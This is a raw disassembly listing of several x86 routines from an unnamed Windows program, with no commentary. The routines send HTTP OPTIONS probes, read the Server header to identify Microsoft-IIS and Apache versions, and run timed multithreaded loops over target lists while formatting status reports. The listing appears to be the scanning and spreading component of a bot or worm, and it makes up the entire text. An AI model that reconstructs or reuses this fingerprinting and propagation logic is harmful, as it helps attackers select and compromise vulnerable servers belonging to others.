sub_412E04 proc near ; DATA XREF: sub_412F07+B0o var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AA = byte ptr -1AAh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B8h push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1B0] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412E59 push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: sub_412E04+40j lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_1B4] push dword ptr [eax] push offset dword_41CC70 lea eax, [ebp+var_1AA] push eax call sub_40D53F add esp, 10h lea eax, [ebp+var_1B0] push eax push offset dword_41EB24 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412E8F: ; CODE XREF: sub_412E04+B7j ; sub_412E04:loc_412EEAj mov eax, [ebp+var_1B4] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: sub_412E04+95j push 3E8h push [ebp+var_4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1B8], eax cmp [ebp+var_1B8], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: sub_412E04+B5j cmp [ebp+var_1B8], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: sub_412E04+C0j push [ebp+var_1B8] push offset sub_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push [ebp+var_1B8] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: sub_412E04+D8j jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: sub_412E04+97j ; sub_412E04+C2j push [ebp+var_4] call sub_404CBB pop ecx push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: sub_412E04+50j leave retn 4 sub_412E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; sub_41349C+2C7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CCA8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: .data:004168CBp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CCF6[ecx] and ecx, 0FFh mov eax, off_41CCFE[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CCFE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CCF6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CCF6[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CCF6[eax] cmp eax, dword_41CCF6[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: sub_41331E+72p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset dword_41CD90 push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset dword_41CD88 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset dword_41CD80 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41331E proc near ; DATA XREF: sub_41349C+4EBo ; sub_413CB3+27Co var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch push [ebp+arg_0] lea eax, [ebp+var_14C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 push [ebp+var_10E] call sub_404457 pop ecx pop ecx lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push [ebp+var_10E] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_41331E+4Ej cmp [ebp+var_112], 0 jz short loc_4133B1 push [ebp+var_10E] call sub_41308F pop ecx cmp [ebp+var_112], eax jz short loc_4133B1 push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_41331E+6Aj ; sub_41331E+7Ej cmp [ebp+var_8A], 1 jnz short loc_4133E0 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_404552 pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_41331E+9Aj cmp [ebp+var_8A], 2 jnz short loc_413420 push 0Ah lea eax, [ebp+var_6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: sub_41331E+C9j call sub_412D4C push eax lea eax, [ebp+var_6] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_413444: ; CODE XREF: sub_41331E+C0j ; sub_41331E+100j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_41346F push [ebp+var_10E] push [ebp+var_14C] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: sub_41331E+13Aj cmp [ebp+var_8A], 2 jnz short loc_41348A lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: sub_41331E+14Fj ; sub_41331E+158j push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: sub_41331E+5Ej ; sub_41331E+8Ej leave retn 4 sub_41331E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o var_774 = qword ptr -774h var_764 = qword ptr -764h var_75C = byte ptr -75Ch var_65C = byte ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_644 = dword ptr -644h var_640 = byte ptr -640h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = byte ptr -624h var_51C = byte ptr -51Ch var_50E = dword ptr -50Eh var_50A = dword ptr -50Ah var_506 = dword ptr -506h var_502 = byte ptr -502h var_37B = byte ptr -37Bh var_37A = byte ptr -37Ah var_377 = byte ptr -377h var_36B = byte ptr -36Bh var_36A = byte ptr -36Ah var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = byte ptr -354h var_341 = byte ptr -341h var_296 = dword ptr -296h var_20C = byte ptr -20Ch var_20B = byte ptr -20Bh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push [ebp+arg_0] lea eax, [ebp+var_628] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_51C] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp+var_358] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_41349C+3Cj and [ebp+var_62C], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj mov eax, [ebp+var_62C] inc eax mov [ebp+var_62C], eax loc_41350B: ; CODE XREF: sub_41349C+60j mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_640] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_640] push eax call sub_4105FB pop ecx lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_640] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCD0 mov [ebp+var_358], eax push 3Ah mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_354] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_354] push eax call sub_4105FB pop ecx lea eax, [ebp+var_341] push eax call sub_4105FB pop ecx and [ebp+var_296], 0 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_51C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_41349C+B0j jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: sub_41349C+54j ; sub_41349C+11Cj lea eax, [ebp+var_624] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: sub_41349C+132j mov al, byte_41DE30 mov [ebp+var_20C], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_20B] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_108], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: sub_41349C+19Cj push [ebp+var_506] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413675 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: sub_41349C+1C4j cmp [ebp+var_358], 0 jz loc_413782 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp+var_644], eax cmp [ebp+var_644], 0 jz short loc_4136B6 mov [ebp+var_296], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: sub_41349C+20Cj mov [ebp+var_296], 3 loc_4136C0: ; CODE XREF: sub_41349C+218j movsx eax, [ebp+var_36B] test eax, eax jz short loc_4136E5 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov [ebp+var_296], 1 loc_4136E5: ; CODE XREF: sub_41349C+22Dj ; sub_41349C+23Dj movsx eax, [ebp+var_37B] test eax, eax jz short loc_4136FA mov [ebp+var_296], 2 loc_4136FA: ; CODE XREF: sub_41349C+252j movsx eax, [ebp+var_37A] test eax, eax jz short loc_41370F mov [ebp+var_296], 3 loc_41370F: ; CODE XREF: sub_41349C+267j cmp [ebp+var_296], 3 jnz short loc_41372B cmp [ebp+var_644], 0 jz short loc_41372B mov [ebp+var_296], 2 loc_41372B: ; CODE XREF: sub_41349C+27Aj ; sub_41349C+283j cmp [ebp+var_296], 3 jnz short loc_413782 mov al, [ebp+var_36A] mov [ebp+var_64C], al mov al, [ebp+var_377] mov [ebp+var_648], al mov [ebp+var_36A], 1 and [ebp+var_377], 0 push 0 lea eax, [ebp+var_502] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_64C] mov [ebp+var_36A], al mov al, [ebp+var_648] mov [ebp+var_377], al loc_413782: ; CODE XREF: sub_41349C+1E0j ; sub_41349C+1F4j ... push offset dword_41E2D8 call sub_409C6C pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset dword_41CE78 mov eax, [ebp+var_628] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E2D8 call sub_409C7A pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax mov eax, [ebp+var_628] push dword ptr [eax] push offset dword_41CE40 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 18h cmp [ebp+var_358], 0 jnz short loc_413807 push 3E8h call dword_41709C ; Sleep loc_413807: ; CODE XREF: sub_41349C+35Ej and [ebp+var_10C], 0 call sub_416B64 ; clock mov [ebp+var_35C], eax and [ebp+var_4], 0 loc_41381D: ; CODE XREF: sub_41349C+3F9j ; sub_41349C+44Bj ... mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: sub_41349C+38Bj jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: sub_41349C+3A9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch push offset dword_41EF48 lea eax, [ebp+var_20C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: sub_41349C+3F7j push [ebp+var_8] push 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_20C] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_650], eax cmp [ebp+var_650], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: sub_41349C+42Bj ; sub_41349C+449j push [ebp+var_50A] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: sub_41349C+4BAj ; sub_41349C:loc_413A30j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_654], eax cmp [ebp+var_654], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: sub_41349C+483j mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax cmp [ebp+var_358], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_658], eax cmp [ebp+var_658], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: sub_41349C+4B8j push 14Ch lea eax, [ebp+var_358] push eax push [ebp+var_658] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_658] mov ecx, [ebp+var_654] mov [eax+3Eh], ecx push [ebp+var_658] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push [ebp+var_658] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: sub_41349C+4F9j push [ebp+var_8] push [ebp+var_654] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: sub_41349C+507j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: sub_41349C+49Ej mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: sub_41349C+525j lea eax, [ebp+var_75C] push eax push [ebp+var_654] call sub_4044F7 pop ecx pop ecx mov al, [ebp+var_36A] mov [ebp+var_65C], al and [ebp+var_36A], 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_75C] push eax push offset dword_41CE2C lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_65C] mov [ebp+var_36A], al push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_4] add eax, 3E8h mov [ebp+var_4], eax loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: sub_41349C+467j ; sub_41349C+485j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: sub_41349C:loc_413847j push [ebp+var_10C] call sub_416B64 ; clock sub eax, [ebp+var_35C] mov dword ptr [ebp+var_764], eax and dword ptr [ebp+var_764+4], 0 fild [ebp+var_764] fdiv flt_417270 push ecx push ecx fstp [esp+774h+var_774] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset unk_41CDE8 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 1Ch push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_628] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: sub_41349C+142j ; sub_41349C+1ACj ... pop edi leave retn 4 sub_41349C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte_41CCD0[eax] test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 